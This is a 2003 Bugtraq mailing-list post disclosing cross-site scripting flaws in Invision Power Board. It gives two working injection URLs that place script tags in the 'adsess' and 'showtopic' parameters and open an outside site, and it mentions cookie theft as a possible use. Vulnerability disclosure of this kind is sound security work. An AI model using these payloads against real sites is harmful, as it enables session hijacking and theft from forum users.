Bugtraq mailing list archives
bug in Invision Power Board
From: Boy Bear <eyal067 () walla co il>
Date: 9 Sep 2003 19:15:19 -0000
I found possibility to run Script (java Script, VBScript) on the system Invision Power Board... It's possible to do if it much {many} things like a withdrawal of cookie, advertising .... For example: http://forums.invisionpower.com/admin.php? adsess='><script>window.open (window.location.search.substring (78));</script><http://binaryvision.tech.nu? BoyBear$$$From$$$BinaryVision BoyBear From BinaryVision ( http://binaryvision.tech.nu ) http://www.securityfocus.com/archive/1/332461/2003-08-07/2003-08-13/0
The bug the previous fix but ..... http://forums.invisionpower.com/index.php?showtopic='><script>window.open (window.location.search.substring(79)) </script>http://binaryvision.tech.nu?BoyBear$$$From$$$BinaryVision BoyBear From BinaryVision ( http://binaryvision.tech.nu )
Current thread:
- bug in Invision Power Board Boy Bear (Sep 09)